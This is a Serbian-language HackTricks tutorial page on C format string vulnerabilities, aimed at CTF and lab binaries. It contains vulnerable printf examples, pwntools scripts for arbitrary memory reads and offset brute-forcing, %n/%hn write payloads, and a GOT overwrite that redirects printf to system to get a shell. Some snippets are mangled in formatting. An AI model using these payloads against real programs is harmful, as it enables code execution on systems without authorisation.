.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Formatiranje stringova
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite pristup najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu? Proverite PLANOVE ZA PRIJAVU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova hacktricks repozitorijumu i hacktricks-cloud repozitorijumu.
Osnovne informacije
U programskom jeziku C printf
je funkcija koja se može koristiti za ispisivanje stringova. Prvi parametar koji ova funkcija očekuje je čisti tekst sa formatima. Sledeći očekivani parametri su vrednosti koje će zameniti formatere iz čistog teksta.
Druge ranjive funkcije su sprintf()
i fprintf()
.
Ranjivost se pojavljuje kada napadačev tekst bude korišćen kao prvi argument ovoj funkciji. Napadač će moći da kreira specijalan unos zloupotrebom mogućnosti formatiranja stringova funkcije printf
kako bi pročitao i upisao bilo koje podatke na bilo koju adresu (čitljivo/zapisivo). Na taj način može izvršiti proizvoljan kod.
Formatteri:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Primeri:
- Ranjiv primer:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalna upotreba:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Sa nedostajućim argumentima:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf ranjiv:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
Pristupanje pokazivačima
Format %<n>$x
, gde je n
broj, omogućava da se printf-u pokaže da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, možete uraditi:
printf("%x %x %x %x")
i pročitao bi ste od prvog do četvrtog parametra.
Ili možete uraditi:
printf("$4%x")
i pročitajte direktno četvrti.
Primetite da napadač kontroliše parametar pr
intf
, što u osnovi znači da njegov unos će biti na steku kada se pozove printf
, što znači da bi mogao da upiše određene memorijske adrese na stek.
{% hint style="danger" %}
Napadač koji kontroliše ovaj unos, moći će dodati proizvoljnu adresu na stek i naterati printf
da im pristupi. U sledećem odeljku će biti objašnjeno kako iskoristiti ovaj ponašanje.
{% endhint %}
Proizvoljno čitanje
Moguće je koristiti format %n$s
da bi printf
dobio adresu smeštenu na n poziciji, sledeći je i odštampao kao da je to string (štampa do pronalaska 0x00). Dakle, ako je osnovna adresa binarnog fajla 0x8048000
, i znamo da korisnički unos počinje na 4. poziciji na steku, moguće je odštampati početak binarnog fajla sa:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti završen sa 0x00 na kraju te adrese. {% endhint %}
Pronalaženje ofseta
Da biste pronašli ofset za vaš unos, možete poslati 4 ili 8 bajtova (0x41414141
), praćeno sa %1$x
i povećavati vrednost dok ne dobijete A's
.
Bruteforce printf ofset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Koliko je korisno
Proizvoljna čitanja mogu biti korisna za:
* **Izbacivanje** **binarnog koda** iz memorije
* **Pristupanje određenim delovima memorije gde se čuvaju osetljive** **informacije** (kao što su kanarinci, ključevi za šifrovanje ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Proizvoljni Upis**
Formatter **`$<num>%n`** **upisuje** broj napisanih bajtova na **označenu adresu** u parametru \<num> na steku. Ako napadač može da upiše toliko znakova koliko želi pomoću printf funkcije, moći će da natera **`$<num>%n`** da upiše proizvoljan broj na proizvoljnu adresu.
Srećom, da bi se upisao broj 9999, nije potrebno dodati 9999 "A" u ulaz, već je moguće koristiti formatter **`%.<num-write>%<num>$n`** da bi se upisao broj **`<num-write>`** na **adresu na koju pokazuje pozicija `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Međutim, važno je napomenuti da se obično koristi $hn
umesto $n
kako bi se napisala adresa poput 0x08049724
(što je OGROMAN broj za napisati odjednom). Ovo omogućava da se napišu samo 2 bajta. Stoga se ova operacija obavlja dva puta, jednom za najviša 2B adrese, a drugi put za najniže.
Ova ranjivost omogućava pisanje bilo čega na bilo koju adresu (proizvoljno pisanje).
U ovom primeru, cilj je da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako ovo može zloupotrebiti druge tehnike proizvoljnog pisanja za izvršenje:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Prepisivaćemo funkciju koja prima argumente od korisnika i usmerićemo je ka funkciji system
. Kao što je pomenuto, obično su potrebna 2 koraka za pisanje adrese: Prvo se pišu 2 bajta adrese, a zatim druga 2. Za to se koristi $hn
.
- HOB se odnosi na 2 viša bajta adrese
- LOB se odnosi na 2 niža bajta adrese
Zatim, zbog toga kako formatiranje stringa funkcioniše, morate prvo napisati manji od [HOB, LOB], a zatim drugi.
Ako je HOB < LOB
[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Ako je HOB > LOB
[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Šablon
Možete pronaći šablon za pripremu eksploatacije ove vrste ranjivosti u:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ili ovaj osnovni primer sa ovde:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings za BOF
Moguće je zloupotrebiti akcije pisanja ranjivosti formatiranja stringova kako bi se upisivali adrese sa steka i iskoristila vrsta ranjivosti preplavljivanja bafera.
Ostali Primeri & Reference
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, bez relro-a, bez canary-ja, nx, bez pie-a, osnovna upotreba format stringova za procurivanje zastave sa steka (nema potrebe za menjanjem toka izvršavanja)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za prepisivanje adrese
fflush
sa funkcijom pobede (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za pisanje adrese unutar main-a u
.fini_array
(tako da tok ponovo petlja još 1 put) i pisanje adresesystem
u GOT tabeli koja pokazuje nastrlen
. Kada tok ponovo ode u main,strlen
se izvršava sa korisničkim unosom i pokazuje nasystem
, izvršiće prosleđene komande.